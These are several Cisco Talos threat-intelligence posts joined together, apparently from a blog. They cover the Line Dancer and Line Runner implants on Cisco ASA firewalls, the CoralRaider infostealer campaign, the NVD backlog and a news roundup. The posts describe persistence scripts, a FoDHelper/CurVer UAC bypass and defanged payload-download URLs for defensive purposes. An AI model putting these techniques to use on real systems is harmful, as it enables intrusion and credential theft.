On a compromised ASA, the attackers submit shellcode via the host-scan-reply field, which is then parsed by the Line Dancer implant. Note that the use of this field does not indicate the exploitation of CVE-2018-0101 which was NOT used as a component of this campaign. The host-scan-reply field, typically used in later parts of the SSL VPN session establishment process, is processed by ASA devices configured for SSL VPN, IPsec IKEv2 VPN with “client-services" or HTTPS management access. The actor overrides the pointer to the default host-scan-reply code to instead point to the Line Dancer shellcode interpreter. This allows the actor to use POST requests to interact with the device without having to authenticate and interact directly through any traditional management interfaces.
Line Dancer is used to execute commands on the compromised device. During our investigation, Talos was able to observe the threat actors using the Line Dancer malware implant to:
Disable syslog.
Run and exfiltrate the command show configuration.
Create and exfiltrate packet captures.
Execute CLI commands present in shellcode; this includes configuration mode commands and the ability to save them to memory (write mem).
Hook the crash dump process, which forces the device to skip the crash dump generation and jump directly to a device reboot. This is designed to evade forensic analysis, as the crash dump would contain evidence of compromise and provide additional forensic details to investigators.
Hook the AAA (Authentication, Authorization and Accounting) function to allow for a magic number authentication capability. When the attacker attempts to connect to the device using this magic number, they are able to establish a remote access VPN tunnel bypassing the configured AAA mechanisms. As an alternate form of access, a P12 blob is generated along with an associated certificate and exfiltrated to the actor along with a certificate-based tunnel configuration.
Host-Scan-Reply hook overview
In the Line Dancer implant’s process memory, we found a function (detailed below) that checks if a 32-byte token matches a pattern. If so, it base64-decodes the payload, copies it into the attacker's writable and executable memory region, and then calls the newly decoded function. Either way, it ends by calling processHostScanReply().
The function processHostScanReply() is normally accessed through a function pointer in the elementArray table, associated with the string host-scan-reply. In the captured memory, the entry that should point to processHostScanReply()now instead points to the attacker's function that decodes and runs its payload. Since this change is in the data section of memory, it doesn't show up in hashes/dumps of text.
The attacker function that decodes and runs its payload has the following decompilation:
Line Runner: Persistence Mechanism
The threat actor maintains persistence utilizing a second, but persistent, backdoor called “Line Runner” on the compromised ASA device using functionality related to a legacy capability that allowed for the pre-loading of VPN clients and plugins on the device. At boot, the ASA is designed to look for the presence of a file on disk0: matching the Lua regular expression:
^client_bundle[%w_-]*%.zip$
If the file exists, it will unzip it and execute the script csco_config.lua. Once processed, the ZIP file is deleted. This is assigned CVE-2024-20359 and more details are available in this Cisco Security Advisory.
In at least one case, there is another vulnerability, CVE-2024-20353, that was abused by the actor to facilitate this process. The attackers were able to leverage this vulnerability to cause the target ASA device to reboot, triggering the unzipping and installing the second component of the threat actor’s malware implant, Line Runner.
The threat actor’s ZIP file has the following files:
The scripts in the zip file allow the threat actor to maintain a persistent HTTP-based Lua backdoor to the ASA, which survives across reboots and upgrades. Line Runner was observed being used by UAT4356 to retrieve information that was staged through the use of Line Dancer.
csco_config.lua
The csco_config.lua file is run at boot and makes the following modifications to the system:
• Create disk0:/csco_config/97/webcontent/ if it doesn't already exist • Create disk0:/csco_config/97/webcontent/1515480F4B538B669648B17C02337098 from hash.txt • Append index.txt to disk0:/csco_config/97/webcontent/index_bp.ini and put the result in disk0:/csco_config/97/webcontent/index.ini • Move the original client_bundle.zip file to /run/lock/subsys/krbkdc6 • Prepend umtfc.txt to /etc/init.d/umountfs • Copy stgvdr.txt to /asa/scripts/lina_cs • Backup /asa/scripts/lina_exe_cs.sh to /asa/scripts/lina_exe_cs_bp.sh • Replace /asa/scripts/lina_exe_cs.sh with laecsnw.txt • Copy csco_config2.lua over csco_config.lua • Disable the importPlugin function for the next call only
csco_config2.lua
The csco_config2.lua file cleans up the modifications made by csco_config.lua (above) and removes itself.
hash.txt
Used as content for disk0:/csco_config/97/webcontent/1515480F4B538B669648B17C02337098.
Intercepts HTTP requests to the ASA. The threat actor’s code looks for an HTTP request with a set of 32-character parameters that are victim-dependent. If they match, then the payload contained within one of these parameters is written to a Lua script and executed. This is the backdoor’s command and control mechanism.
index.txt
Adds webContent information so hash.txt is processed.
laecsnw.txt
Temporarily replaces /asa/scripts/lina_exe_cs.sh.
Executes /asa/scripts/lina_cs as a background process (see below). Removes itself. Then restore the backup /asa/scripts/lina_exe_cs_bp.sh.
stgvdr.txt
Runs as /asa/scripts/lina_cs.
After sleeping for 30 seconds, sets expected owner and times on /etc/init.d/umountfs. Removes the hash API endpoint, the index.ini, and either restores the backup index.ini or removes the webcontent directory entirely. Finally, removes itself.
umtfc.txt
Prepended to /etc/init.d/unmountfs.
The unmountfs script is called at shutdown to unmount the filesystems. The threat actor’s modifications perform the following functionality:
• If disk0:/csco_config/97/webcontent/1515480F4B538B669648B17C02337098 exists, it removes it and index.ini. • Copy /run/lock/subsys/krbkdc6 to disk0:client_bundle_install.zip
This sets up the zipfile to be executed at the next boot, maintaining persistence.
Forensic Recovery and Identification of Line Runner
To identify the presence of Line Runner on an ASA, the following methods can be used. Note also that the device should be upgraded to a fixed version as identified in the first method.
Method 1:
After updating the device to a software release that contains the fix for CVE-2024-20359, a review of the contents of disk0: should be conducted. If a new file (e.g., “client_bundle_install.zip” or any other unusual .zip file) appears on disk0: following the update, this suggests that Line Runner was present on the device in question. Note that because the updated software is not vulnerable to CVE-2024-20359, Line Runner will no longer be active on the device.
Method 2:
To detect (and remove) Line Runner, the following series of commands will create an innocuous file with a .zip extension. Note that it will not create a valid zip file, but the file will still be read by the ASA at reboot. Upon execution of the following commands, if a new .zip file appears on disk0: following the reload, this suggests that Line Runner was present on the device in question. Deletion of the “client_bundle_install.zip” file will remove Line Runner. Note that the malicious ZIP containing the Line Runner functionality could have other names that fit the naming pattern outlined previously.
If you discover a newly created .zip file, copy that file off the device using the copy command and contact [email protected] referencing CVE-2024-20359. Include the outputs of the dir disk0: and show version commands from the device and the .zip file extracted from the device.
Anti-Forensics/Anti-Analysis Capabilities
UAT4356 took clear and deliberate steps to attempt to prevent forensic capture of malicious artifacts. This tradecraft suggests a thorough understanding of the ASA itself and of the forensic actions commonly performed by Cisco for network device integrity validation. Additional steps were taken on a case-by-case basis to hide actions being taken on the device. These steps included hooking the AAA (Authentication, Authorization and Accounting) function of the device to allow the actor to bypass normal AAA operations. We also identified some instances where UAT4356 disabled logging to perform operations on or from the ASA and not have those operations or actions logged.
Line Dancer appears to have been intentionally placed into a difficult-to-reach region of memory. In addition, it hooks into functions such as the core dump function, which is commonly used to collect information for debugging and forensic purposes, which were made in memory such that this function simply jumped to a reboot. This means that on reboot, Line Dancer itself would no longer be present and none of the collections present in the core dump function would have been executed, all resulting in a complete loss of debug information and memory-based forensic artifacts.
Attribution
As a part of our ongoing investigation, we have also conducted analysis on possible attribution of this activity. Our attribution assessment is based on the victimology, the significant level of tradecraft employed in terms of capability development and anti-forensic measures, and the identification and subsequent chaining together of 0-day vulnerabilities. For these reasons, we assess with high confidence that these actions were performed by a state-sponsored actor.
Recommendations
There are some known indicators of compromise that customers can look for if they suspect they may have been targeted in this campaign. First, organizations should look for any flows to/from ASA devices to any of the IP addresses present in the IOC list provided at the bottom of this blog. This is one indication that further investigation is necessary.
Additionally, organizations can issue the command show memory region | include lina to identify another indicator of compromise. If the output indicates more than one executable memory region (memory regions having r-xp permissions, see output examples), especially if one of these memory sections is exactly 0x1000 bytes, then this is a sign of potential tampering.
Output of the ‘show memory region’ command for a compromised device (top) vs. a clean device (bottom).
Note that the earlier provided steps to identify the presence of Line Runner can still be followed even in the absence of more than one executable memory region as we have seen cases where Line Runner was present without Line Dancer being present. We still recommend following the steps to upgrade to a patched version even if customers believe that their device has not been compromised.
Next, follow the steps detailed in the Cisco ASA Forensic Investigation Procedures for First Responders. When following these procedures first responders should NOT attempt to collect a core dump (Step 5) or reboot the device if they believe that the device has been compromised, based on the lina memory region output. The previous steps up to and including a collection of the memory text section should be followed. In addition, we have released some Snort signatures to detect the activity on the wire including access attempts. Signatures 63139, 62949, and 45575 have been released to detect the implants or associated behaviors. Please note that the device must be set up to decrypt TLS for these signatures to be effective.
‘Line Dancer’ – In-Memory Only Shellcode Interpreter Interaction – 3:45575
Note that this signature was originally built to detect an unrelated CVE but it also detects Line Dancer interaction
If your organization does find connections to the provided actor IPs and the crash dump functionality has been altered, please open a case with Cisco TAC.
UAT4356 Infrastructure
Key components of the actor-controlled infrastructure used for this operation had an interesting overlap of SSL certificates which match the below pattern while also appearing as an ASA, during the same period, to external scanning engines such as Shodan and Censys as reported by the CPE data on the same port as the noted SSL certificate. The SSL certificate information suggests that the infrastructure is making use of an OpenConnect VPN Server (https://ocserv.openconnect-vpn.net) through which the actor appeared to be conducting actions on target.
Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.
Umbrella, Cisco's secure internet gateway (SIG) blocks devices from connecting to malicious IPs. Sign up for a free trial of Umbrella here.
Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.
Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. Snort SIDs for this threat are 45575, 62949 and 63139.
There are several known indicators of compromise that defenders can look for when assessing whether their ASA device has been compromised as a result of this attack, as outlined earlier in this post. For example, if any gaps in logging or any recent unexpected reboots are observed, this should be treated as suspicious activity that warrants further investigation. Also, below is a list of IP addresses we identified as having been used by UAT4356. Please note that some of these IPs are part of publicly known anonymization infrastructure and not directly controlled by the attackers themselves. If your organization does find connections to the provided actor IPs and the crash dump functionality has been altered, please open a case with Cisco TAC.
By Joey Chen, Chetan Raghuprasad and Alex Karkins.
Cisco Talos discovered a new ongoing campaign since at least February 2024, operated by a threat actor distributing three famous infostealer malware, including Cryptbot, LummaC2 and Rhadamanthys.
Talos also discovered a new PowerShell command-line argument embedded in the LNK file to bypass anti-virus products and download the final payload into the victims’ host.
This campaign uses the Content Delivery Network (CDN) cache domain as a download server, hosting the malicious HTA file and payload.
Talos assesses with moderate confidence that the threat actor CoralRaider operates the campaign. We observed several overlaps in tactics, techniques, and procedures (TTPs) of CoralRaider’s Rotbot campaign, including the initial attack vector of the Windows Shortcut file, intermediate PowerShell decryptor and payload download scripts, the FoDHelper technique used to bypass User Access Controls (UAC) of the victim machine.
Victimology and actor infrastructure
The campaign affects victims across multiple countries, including the U.S., Nigeria, Pakistan, Ecuador, Germany, Egypt, the U.K., Poland, the Philippines, Norway, Japan, Syria and Turkey, based on our telemetry data and OSINT information. Our telemetry also disclosed that some affected users were from Japan’s computer service call center organizations and civil defense service organizations in Syria. The affected users were downloading files masquerading as movie files through the browser, indicating the possibility of a widespread attack on users across various business verticals and geographies.
We observe that this threat actor is using a Content Delivery Network (CDN) cache to store the malicious files on their network edge host in this campaign, avoiding request delay. The actor is using the CDN cache as a download server to deceive network defenders.
CDN edge URLs
Information Stealer
hxxps[://]techsheck[.]b-cdn[.]net/Zen90
Cryptbot
hxxps[://]zexodown-2[.]b-cdn[.]net/Peta12
Cryptbot
hxxps[://]denv-2[.]b-cdn[.]net/FebL5
Cryptbot, Rhadamanthys
hxxps[://]download-main5[.]b-cdn[.]net/BSR_v7IDcc
Rhadamanthys
hxxps[://]dashdisk-2[.]b-cdn[.]net/XFeb18
Cryptbot
hxxps[://]metrodown-3[.]b-cdn[.]net/MebL1
Cryptbot
hxxps[://]metrodown-2[.]b-cdn[.]net/MebL1
Cryptbot, LummaC2
hxxps[://]metrodown-2[.]b-cdn[.]net/SAq2
LummaC2
Talos discovered that the actor is using multiple C2 domains in the campaign. The DNS requests for the domains during our analysis period are shown in the graph, indicating the campaign is ongoing.
Tactics, techniques and procedures overlap with other campaigns
Talos assesses with moderate confidence that threat actor CoralRaider is likely operating this campaign based on several overlaps in the TTPs used and the targeted victims’ geography of this campaign with that of the CoralRaider’s Rotbot campaign. We spotted that the PowerShell scripts used in the attack chain of this campaign to decrypt the PowerShell scripts of further stages and the downloader PowerShell script are similar to those employed in the Rotbot’s campaign.
PowerShell decryptor script of Rotbot campaign (left) and new unknown campaign (right).
String decrypt and download routine of Rotbot campaign (Left) and new unknown campaign (right).
The Powershell script did not appear in any public repository or article, indicating the threat actor likely developed these PowerShell scripts. Pivoting on the PowerShell argument embedded in the LNK file showed us that such arguments are not popular and likely specific to the actor and the campaign.
Multi-stage infection chain to deliver the payload
The infection chain starts when a victim opens the malicious shortcut file from a ZIP file downloaded using the drive-by download technique, according to our telemetry. The threat actor is likely delivering malicious links to victims through phishing emails.
The Windows shortcut file has an embedded PowerShell command running a malicious HTA file on attacker-controlled CDN domains. HTA file executes an embedded Javascript, which decodes and runs a PowerShell decrypter script. PowerShell decrypter script decrypts the embedded PowerShell Loader script and runs it in the victim’s memory. The PowerShell Loader executes multiple functions to evade the detections and bypass UAC, and finally, it downloads and runs one of the payloads, Cryptbot, LummaC2 or Rhadamanthys information stealer.
Windows Shortcut file to execute the malicious HTA file
Windows shortcut file runs a PowerShell command to download and run an HTML application file on the victim’s machine. The threat actor has used “gp,” a PowerShell command alias for Get-ItemProperty, to read the registry contents of the application classes registry key and gets the executable name “mshta.exe.” Using mshta.exe, the PowerShell instance executes the remotely hosted malicious HTA file on the victim’s machine.
Obfuscated HTA runs embedded PowerShell decrypter
The malicious HTML application file is heavily obfuscated and has a Javascript that decodes and executes a function using the String fromCharCode method. The decoded function then executes an embedded PowerShell decryptor script.
The decryptor PowerShell script has a block of AES-encrypted string. Using the AES decryptor function, it generates an AES key of 256 bytes from a base64 encoded string “RVRVd2h4RUJHUWNiTEZpbkN5SXhzUWRHeFN4V053THQ=” and the IV “AAAAAAAAAAAAAAAA.” With the key and IV, it decrypts and executes the next stage of the PowerShell Loader script.
PowerShell loader downloads and runs the payload
The PowerShell loader script is modular and has multiple functions to perform a sequence of activities on the victim’s machine. Initially, it executes a function that drops a batch script in the victim machine’s temporary folder and writes its contents, which includes the PowerShell command to add the folder “ProgramData” of the victim machine to the Windows Defender exclusion list.
The dropped bath script is executed through a living-off-the-land binary (LoLBin) “FoDHelper.exe” and a Programmatic Identifiers (ProgIDs) registry key to bypass the User Access Controls (UAC) in the victim’s machine. Fodhelper is a Windows feature, an on-demand helper binary that runs by default with high integrity. Usually, when the FodHelper is run, it checks for the presence of the registry keys listed below. If the registry keys have commands assigned, the FodHelper will execute them in an elevated context without prompting the user.
Windows Defender, by default, detects if there are attempts to write to the registry keysHKCU:\Software\Classes\ms-settings\shell\open\command and to evade this detection, the threat actor uses the programmatic identifier (ProgID). In Windows machines, a programmatic identifier (ProgID ) is a registry entry that can be associated with a Class ID (CLSID ), which is a globally unique serial number that identifies a COM (Component Object Model) class object. The Windows Shell uses a default ProgID registry key called CurVer, which is used to set the default version of a COM application.
In this campaign, the threat actor abuses the “CurVer” registry key feature by creating a custom ProgID “ServiceHostXGRT” registry key in the software classes registry and assigns the Windows shell to execute a command to run the batch script.
The script configures the ProgID ServiceHostXGRT in the CurVer registry subkey of HKCU\Software\Classes\ms-settings\CurVer, which will get translated to HKCU:\Software\Classes\ms-settings\shell\open\command. After modifying the registry settings, the PowerShell script runs FoDHelper.exe, executing the command assigned to the registry key HKCU:\Software\Classes\ms-settings\shell\open\command and executing the dropped batch script. Finally, it deletes the configured registry keys to evade detection.
The batch script adds the folder “C:\ProgramData” to the Windows Defender exclusion list. The PowerShell loader script downloads the payload and saves it in the “C:\ProgramData” folder as “X1xDd.exe.”
After downloading the payload to the victim’s machine, the PowerShell loader executes another function that overwrites the previously dropped batch file with the new instructions to run the downloaded payload information stealer through the Windows start command. It again uses the same FoDHelper technique to run the batch script’s second version, which we explained earlier in this section.
Actor’s choice of three payloads in the same campaign
Talos discovered that the threat actor delivered three famous information stealer malware as payloads in this campaign, including CryptBot, LummaC2 and Rhadamanthys. These information stealers target victims’ information, such as system and browser data, credentials, cryptocurrency wallets and financial information.
CryptBot
CryptBot is a typical infostealer targeting Windows systems discovered in the wild in 2019 by GDATA. It is designed to steal sensitive information from infected computers, such as credentials from browsers, cryptocurrency wallets, browser cookies and credit cards, and creates screenshots of the infected system.
Talos has discovered a new CryptBot variant distributed in the wild since January 2024. The goal of the new CryptBot is the same, with some new innovative functionalities. The new CryptBot is packed with different techniques to obstruct malware analysis. A few new CryptBot variants are packed with VMProtect V2.0.3-2.13; others also have VMProtect, but with unknown versions. The new CryptBot attempts to steal sensitive information from infected machines and modifies the configuration changes of the stolen applications. The list of targeted browsers, applications and cryptocurrency wallets by the new variant of CryptBot is shown below.
We observed the new CryptBot variant also includes password manager application databases and authenticator application information in its stealing list to steal the cryptocurrency wallets that have two-factor authentication enabled.
CryptBot is aware that the target applications in the victim’s environment will have different versions, and their database files will have different file extensions. It scans the victim’s machine for database files’ extensions of the targeted applications for harvesting credentials.
LummaC2
Talos discovered that the actor is delivering a new variant of LummaC2 malware as an alternative payload in this campaign. LummaC2 is a notorious information stealer that attempts to harvest information from victims’ machines. Based on the report posted by outpost24 and other external security reports, LummaC2 has already been confirmed to be sold on the underground market for years.
The threat actor has modified LummaC2’s information stealer capability and obfuscated the malware with a custom algorithm. The obfuscation algorithm is saved in another section inside the malware shown below.
The new version of LummaC2 also presents the same signature of the alert message displayed to the user during its execution.
The C2 domains are encrypted with a symmetric algorithm, and we found that the actor has nine C2 servers that the malware will attempt to connect to one by one. Analyzing various samples of the new LummaC2 variant, we spotted that each will use a different key to encrypt the C2.
Talos has compiled the list of nine C2 domains the new LummaC2 variant attempts to connect in this campaign.
LummaC2’s first step in its exfiltration phase is its connection to the C2 server. The malware will exit the process if it does not receive the “OK” message as a response from any of the nine C2 servers. The second step will be exfiltrating information from infected machines. The basic stealing functionality is the same as the previous version, with the addition of victims’ discord credentials to exfiltrate.
Rhadamanthys
The last payload we found in this campaign is Rhadamanthys malware, a famous infostealer appearing in the underground forum advertisement in September 2022. The Rhadamanthys malware has been evolving till now, and its authors have released a new version, V0.6.0, on Feb. 15, 2024. However, the Rhadamanthys variant we found in this campaign is still v0.5.0.
The threat actor uses a Python executable file as a loader to execute the Rhadamanthys malware into memory. After decompiling the Python executable file, Python scripts load the Rhadamanthys malware in two stages. The first stage is a simple Python script that replaces the binary code from 0 to 9 and decodes the second stage.
In the second stage, the Python script uses the Windows API to allocate a memory block and inject Rhadamanthys malware into the process. We spotted that the threat actor is developing the Python script with the intention of including the functionality of executing a shellcode.
Analyzing the final executable file showed us that the malware unpacks the loader module with the custom format having the magic header “XS” and performs the process injection. The custom loader module in XS format is similar to that of a Rhadamanthys sample analyzed by the researcher at Check Point. The malware selects one of the listed processes as the target process for process injection from a hardcoded list in the binary:
"%Systemroot%\\system32\\dialer.exe"
"%Systemroot%\\system32\\openwith.exe"
Coverage
Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.
Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.
Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.
Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.
Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.
Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.
Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.
Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.
Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. Snort SID for this threat is 63218 - 63225 and 300867 - 300870.
ClamAV detections are also available for this threat:
Lnk.Downloader.CoralRaider-10027128-0
Txt.Tool.CoralRaider-10027140-0
Html.Downloader.CoralRaider-10027220-0
Win.Infostealer.Lumma-10027222-0
Win.Infostealer.Rhadamanthys-10027293-0
Win.Infostealer.Rhadamanthys-10027294-0
Win.Infostealer.Cryptbot-10027295-0
Win.Infostealer.Cryptbot-10027296-0
Win.Infostealer.Cryptbot-10027297-0
Win.Infostealer.Cryptbot-10027298-0
Win.Infostealer.Cryptbot-10027299-0
Win.Infostealer.Cryptbot-10027300-0
Win.Infostealer.Cryptbot-10027301-0
Win.Infostealer.Cryptbot-10027302-0
Win.Infostealer.Cryptbot-10027303-0
Win.Infostealer.Cryptbot-10027305-0
Indicators of Compromise
Indicators of Compromise associated with this threat can be found here.
The National Vulnerability Database is usually the single source of truth for all things related to security vulnerabilities.
But now, they’re facing an uphill battle against a massive backlog of vulnerabilities, some of which are still waiting to be analyzed, and others that still have an inaccurate or altogether missing severity score.
As of April 9, 5,799 CVEs that have been published since Feb. 15, 2024, remain unanalyzed.
As the backlog piles up, it’s unclear how, or when, the NVD is going to get back to its regular cadence of processing, scoring and analyzing vulnerabilities that are submitted to the U.S. government repository. At its current pace, the NVD is analyzing about 2.9 percent of all published CVEs it's been sent, well behind its pace in previous years. If there were no new CVEs submitted today, it could take the NVD more than 91 days to empty that backlog and get caught up.
Given the state of the NVD and vulnerability management, we felt it was worth looking at the current state of the NVD, how we got to this point, what it means for security teams, and where we go from here.
What is the NVD?
The U.S.’s National Vulnerability Database provides the most comprehensive list of CVEs anywhere. This tracks security vulnerabilities in hardware and software and distributes that list to the public for anyone to use.
This data enables organizations and large networks to automate vulnerability management, take appropriate security steps when a new vulnerability is discovered, important references and metrics that indicate how serious a particular vulnerability is.
The U.S. National Institute of Standards and Technology (NIST) has managed the NVD since 2000, when it was started as the Internet Category of Attack toolkit. It eventually morphed into the NVD, which passed the 150,000-vulnerability mark in 2021.
In addition to simply listing the CVEs that are regularly disclosed, the NVD scores vulnerabilities using the CVSS system, which often differ from the initial severity score that’s assigned by the researcher that discovers the vulnerability, or the company or organization behind the affected product or software.
Since the creation of I-CAT, no other organization or private company has as comprehensive of a list of vulnerabilities as the NVD, nor do they offer it for free like NIST does.
Why is the backlog a problem?
On the surface, it may seem like the fact that the NVD has been slow to analyze CVEs isn’t all that bad, considering security issues are still being disclosed and patched every day (think: Microsoft Patch Tuesday).
However, the lack of a single source of CVEs augmented information is detrimental to administrators, security researchers and users, and security experts are warning that the issue needs to be addressed quickly, or an alternative needs to be adopted.
With the NVD being a collection of all this information, it’s up to the individual vendors to responsibly disclose and release vulnerabilities discovered in their products, which puts the onus on administrators to track that information down. If someone who handles patch management for a network was relying on the NVD for their information, that list is likely outdated at this point, and instead, they need to visit each individual vendor to find out what vulnerabilities were recently disclosed in their products, and how large of a risk they present.
On any given network, that could be dozens to even hundreds of vendors, and while massive companies like Apple and Microsoft have easy-to-access security and vulnerability information, smaller open-source projects may not have the same resources that administrators need.
The NVD is also the most trusted source for severity scores. Their calculations are generally what most users see when they read a security advisory. But without their input, it’s on the researcher or vendor to assign a score, instead. Under that system, there is no guarantee that a company may not want to score their vulnerability higher so it does not seem as serious, while researchers may want to bump up the severity of the issue they find so they are credited with discovering a higher-severity issue.
As Talos has discussed before, a CVSS score is not the only metric worth relying on when patching, but it does play a major role in how the public views vulnerabilities and whether they’re likely to be exploited in the wild. According to Talos’ 2023 Year in Review report, eight of the 10 most-exploited CVEs last year received a severity score of 9.3 or higher. Any sense of uncertainty around CVSS scores can leave administrators scratching their heads and without a “north star” for patch management.
The recent xz Utility vulnerability that was luckily prevented before any attackers could exploit it still does not have a Common Weakness Enumeration (CWE) assigned to it as of April 10 because of the backlog. Had an exploit for this been used, defenders would be missing crucial context and information for defending against this backdoor.
How did this backlog develop?
NIST has been relatively vague about why the agency has been slow to process new vulnerabilities. The first sign of trouble came in February, when NIST released a statement that a “growing backlog of vulnerabilities” had developed because of “an increase in software and, therefore, vulnerabilities, as well as a change in interagency support.”
NIST’s budget was cut by about 12 percent after the recent package of funding bills passed by U.S. Congress, as well.
The agency also said in February that additional NIST staff were being shifted around to address the backlog, and at the recent VulnCon and Annual CNA Summit, the NVD program director promised that NIST was developing a consortium to help address the issues with the NVD.
The total number of vulnerabilities disclosed continues to increase every year, driven by larger amounts of software on the market and increased visibility into security concerns and research. Last year, there were 28,961 CVEs disclosed, according to the CVE Program, an increase of 15 percent from 2022. The last time there were fewer CVEs assigned in a year compared to the year prior was in 2016.
What are some potential solutions?
NIST has continued to publicly support the NVD and says it's preparing to revitalize the database. But it’s unclear what short- or long-term solutions or alternatives exist.
Jerry Gamblin, a principal threat detection and response engineer for Cisco Vulnerability Management, said there has yet to be a company or organization willing to take on the monstrous task of tracking and scoring *every* CVE, especially for free.
Other vulnerability catalogs exist like the Cybersecurity and Infrastructure Security Agency’s (CISA) Known Exploited Vulnerabilities (KEV) catalog, but the KEV only lists vulnerabilities that have actively been exploited in the wild.
In short — all the potential alternatives are imperfect.
“We can get the data from anywhere, and AI data could even help, but people just need to decide,” Gamblin said. “Is there going to be just one source of data? And who is the source of truth for this data? Who owns this data?”
A private company like MITRE could step up to create its own solution, but it’d likely want to charge for access to that database. Any non-profit organization who also wants to step up would also likely need a massive influx of money and manpower to address the sheer volume of CVEs that come in every day.
And while NIST says the consortium is in the works, there’s no timetable for how long it could take for that to be established, and which private companies would be involved.
For now, it’s best to stick to tried-and-true patching strategies that have worked for years. Software, like Cisco Vulnerability Management, which has not been affected by the NVD backlog, can also assist in automating the patching process and prioritizing which vulnerabilities to patch first.
And honestly, if you’re reading this newsletter, I probably shouldn’t have to tell you about that either. But one of the things that always frustrates me about this seemingly never-ending battle against disinformation on the internet, is that there aren’t any real consequences for the worst offenders.
At most, someone who intentionally or repeatedly shares information on their social platform that’s misleading or downright false may have their account blocked, suspended or deleted, or just that one individual post might be removed.
Twitter, which has become one of the worst offenders for spreading disinformation, has gotten even worse about this over the past few years and at this point doesn’t do anything to these accounts, and in fact, even promotes them in many ways and gives them a larger platform.
Meta, for its part, is now hiding more political posts on its platforms in some countries, but at most, an account that shares fake news is only going to be restricted if enough people report it to Meta’s team and they choose to take action.
Now, I’m hoping that Brazil’s Supreme Court may start imposing some real-world consequences on individuals and companies that support, endorse or sit idly by while disinformation spreads. Specifically, I’m talking about a newly launched investigation by the court into Twitter/X and its owner, Elon Musk.
Brazil’s Supreme Court says users on the platform are part of a massive misinformation campaign against the court’s justices, sharing intentionally false or harmful information about them. Musk is also facing a related investigation into alleged obstruction.
The court had previously asked Twitter to block certain far-right accounts that were spreading fake news on Twitter, seemingly one of the only true permanent bans on a social media platform targeting the worst misinformation offenders. Recently, Twitter has declined to block those accounts.
This isn’t some new initiative, though. Brazil’s government has long looked for concrete ways to implement real-world punishments for spreading disinformation. In 2022, the Supreme Court signed an agreement with the equivalent of Brazil’s national election commission “to combat fake news involving the judiciary and to disseminate information about the 2022 general elections.”
Brazil’s president (much like the U.S.) has been battling fake news and disinformation for years now, making any political conversation there incredibly divisive, and in many ways, physically dangerous. I’m certainly not an authority enough on the subject to comment on that and the ways in which the term “fake news” has been weaponized to literally challenge what is “fact” in our modern society.
And I could certainly see a world in which a high court uses the term “fake news” to charge and prosecute people who are, in fact, spreading *correct* and verifiable information.
But, even just forcing Musk or anyone at Twitter to answer questions about their blocking policies could bring an additional layer of transparency to this process. Suppose we want to really get people to stop sharing misleading information on social media. In that case, it needs to eventually come with real consequences, not just a simple block when they can launch a new account two seconds later using a different email address.
The one big thing
Talos recently discovered a new threat actor we're calling “Starry Addax” targeting mostly human rights activists associated with the Sahrawi Arab Democratic Republic (SADR) cause. Starry Addax primarily uses a new mobile malware that it infects users with via phishing attack, tricking their targets into installing malicious Android applications we’re calling “FlexStarling.” The malicious mobile application (APK), “FlexStarling,” analyzed by Talos recently masquerades as a variant of the Sahara Press Service (SPSRASD) App.
Why do I care?
The targets in this campaign's case are considered high-risk individuals, advocating for human rights in the Western Sahara. While that is a highly focused particular demographic, FlexStarling is still a highly capable implant that could be dangerous if used in other campaigns. Once infected, Starry Addax can use their malware to steal important login credentials, execute remote code or infect the device with other malware.
So now what?
This campaign's infection chain begins with a spear-phishing email sent to targets, consisting of individuals of interest to the attackers, especially human rights activists in Morocco and the Western Sahara region. If you are a user who feels you could be targeted by these emails, please pay close attention to any URLs or attachments used in emails with these themes and ensure you’re only visiting trusted sites. The timelines connected to various artifacts used in the attacks indicate that this campaign is just starting and may be in its nascent stages with more infrastructure and Starry Addax working on additional malware variants.
Top security headlines of the week
A threat actor with ties to Russia is suspected of infecting the network belonging to a rural water facility in Texas earlier this year. The hack in the small town of Muleshoe, Texas in January caused a water tower to overflow. The suspect attack coincided with network intrusions against networks belonging to two other nearby towns. While the attack did not disrupt drinking water in the town, it would mark an escalation in Russian APTs’ efforts to spy on and disrupt American critical infrastructure. Security researchers this week linked a Telegram channel that took credit for the activity with a group connected to Russia’s GRU military intelligence agency. The adversaries broke into a remote login system used in ICS, which allowed the actors to interact with the water tank. It overflowed for about 30 to 45 minutes before officials took the machine offline and switched to manual operations. According to reporting from CNN, a nearby town called Lockney detected “suspicious activity” on the town’s SCADA system. And in Hale Center, adversaries also tried to breach the town network’s firewall, which prompted them to disable remote access to its SCADA system. (CNN, Wired)
Meanwhile, Russia’s Sandworm APT is also accused of being the primary threat actor carrying out Russia’s goals in Ukraine. New research indicates that the group is responsible for nearly all disruptive and destructive cyberattacks in Ukraine since Russia's invasion in February 2022. One attack involved Sandworm, aka APT44, disrupting a Ukrainian power facility during Russia’s winter offensive and a series of drone strikes targeting Ukraine’s energy grid. Recently, the group’s attacks have increasingly focused on espionage activity to gather information for Russia’s military to use to its advantage on the battlefield. The U.S. indicated several individuals for their roles with Sandworm in 2020, but the group has been active for more than 10 years. Researchers also unmasked a Telegram channel the group appears to be using, called “CyberArmyofRussia_Reborn.” They typically use the channel to post evidence from their sabotage activities. (Dark Reading, Recorded Future)
